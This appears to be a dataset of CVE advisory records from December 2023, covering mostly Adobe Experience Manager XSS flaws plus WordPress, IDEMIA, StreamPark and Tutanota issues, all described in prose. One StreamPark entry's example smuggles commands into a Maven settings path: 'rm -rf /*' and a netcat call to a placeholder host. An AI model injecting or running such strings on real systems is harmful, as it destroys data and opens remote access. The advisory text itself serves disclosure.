deardaniel/secdata-raw huggingface dataset:
CVE: CVE-2023-48596
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48597
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48598
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48599
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 4.3 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48600
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48601
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48602
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48603
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48604
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48605
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48606
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48607
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79, CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48608
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by an Improper Input Validation vulnerability. A low-privileged attacker could leverage this vulnerability to achieve a low-integrity impact within the application. Exploitation of this issue requires user interaction.
CVSS Score: 3.5 (LOW)
CWE: CWE-20
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48609
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48610
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48611
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48612
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48613
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48614
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48615
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48616
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79, CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48617
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48618
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48619
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48620
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79, CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48621
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48622
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48623
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-48624
Published: 2023-12-15
Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html; https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html
CVE: CVE-2023-6553
Published: 2023-12-15
Description: The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.7 via the /includes/backup-heart.php file. This is due to an attacker being able to control the values passed to an include, and subsequently leverage that to achieve remote code execution. This makes it possible for unauthenticated attackers to easily execute code on the server.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-94
References: https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.7/includes/backup-heart.php#L118; https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.7/includes/backup-heart.php#L38; https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.7/includes/backup-heart.php#L62
CVE: CVE-2023-6839
Published: 2023-12-15
Description: Due to improper error handling, a REST API resource could expose a server side error containing an internal WSO2 specific package name in the HTTP response.


CVSS Score: 5.3 (MEDIUM)
CWE: CWE-209, CWE-209
References: https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2022/WSO2-2021-1334/; https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2022/WSO2-2021-1334/
CVE: CVE-2023-33218
Published: 2023-12-15
Description: 


The Parameter Zone Read and Parameter Zone Write command handlers allow performing a Stack buffer overflow. 
This could potentially lead to a Remote Code execution on the targeted device.


CVSS Score: 9.1 (CRITICAL)
CWE: CWE-121, CWE-787
References: https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf; https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf
CVE: CVE-2023-33219
Published: 2023-12-15
Description: 




The handler of the retrofit validation command doesn't properly check the boundaries when performing certain validation 
operations. This allows a stack-based buffer overflow that could lead to a potential Remote Code Execution on the 
targeted device




CVSS Score: 9.1 (CRITICAL)
CWE: CWE-121, CWE-787
References: https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf; https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf
CVE: CVE-2023-33220
Published: 2023-12-15
Description: 






During the retrofit validation process, the firmware doesn't properly check the boundaries while copying some attributes 
to check. This allows a stack-based buffer overflow that could lead to a potential Remote Code Execution on the targeted 
device






CVSS Score: 9.1 (CRITICAL)
CWE: CWE-121, CWE-787
References: https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf; https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf
CVE: CVE-2023-33221
Published: 2023-12-15
Description: 








When reading DesFire keys, the function that reads the card isn't properly checking the boundaries when copying 
internally the data received. This allows a heap based buffer overflow that could lead to a potential Remote Code 
Execution on the targeted device. This is especially problematic if you use Default DESFire key.








CVSS Score: 6.8 (MEDIUM)
CWE: CWE-122, CWE-787
References: https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf; https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf
CVE: CVE-2023-33222
Published: 2023-12-15
Description: 








When handling contactless cards, usage of a specific function to get additional information from the card which doesn't 
check the boundary on the data received while reading. This allows a stack-based buffer overflow that could lead to a 
potential Remote Code Execution on the targeted device








CVSS Score: 6.8 (MEDIUM)
CWE: CWE-121, CWE-787
References: https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf; https://www.idemia.com/wp-content/uploads/2023/11/Security-Advisory-SA-2023-05-2.pdf
CVE: CVE-2023-30867
Published: 2023-12-15
Description: In the Streampark platform, when users log in to the system and use certain features, some pages provide a name-based fuzzy search, such as job names, role names, etc. The sql syntax :select * from table where jobName like '%jobName%'. However, the jobName field may receive illegal parameters, leading to SQL injection. This could potentially result in information leakage.

Mitigation:

Users are recommended to upgrade to version 2.1.2, which fixes the issue.


CVSS Score: 4.9 (MEDIUM)
CWE: CWE-89, CWE-89
References: https://lists.apache.org/thread/bhdzh6hnh04yyf3g203bbyvxryd720o2; https://lists.apache.org/thread/bhdzh6hnh04yyf3g203bbyvxryd720o2
CVE: CVE-2023-49898
Published: 2023-12-15
Description: In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.

Mitigation:

all users should upgrade to 2.1.2

Example:

##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":

/usr/share/java/maven-3/conf/settings.xml || rm -rf /*

/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &


CVSS Score: 7.2 (HIGH)
CWE: CWE-77
References: https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3; https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3
CVE: CVE-2023-46116
Published: 2023-12-15
Description: Tutanota (Tuta Mail) is an encrypted email provider. Tutanota allows users to open links in emails in external applications. Prior to version 3.118.12, it correctly blocks the `file:` URL scheme, which can be used by malicious actors to gain code execution on a victims computer, however fails to check other harmful schemes such as `ftp:`, `smb:`, etc. which can also be used. Successful exploitation of this vulnerability will enable an attacker to gain code execution on a victim's computer. Version 3.118.2 contains a patch for this issue.
CVSS Score: 9.3 (CRITICAL)
CWE: CWE-20
References: https://github.com/tutao/tutanota/blob/master/src/desktop/ApplicationWindow.ts#L417; https://github.com/tutao/tutanota/blob/master/src/desktop/ApplicationWindow.ts#L423; https://github.com/tutao/tutanota/commit/88ecad17d00d05a722399aed35f0d280899d55a2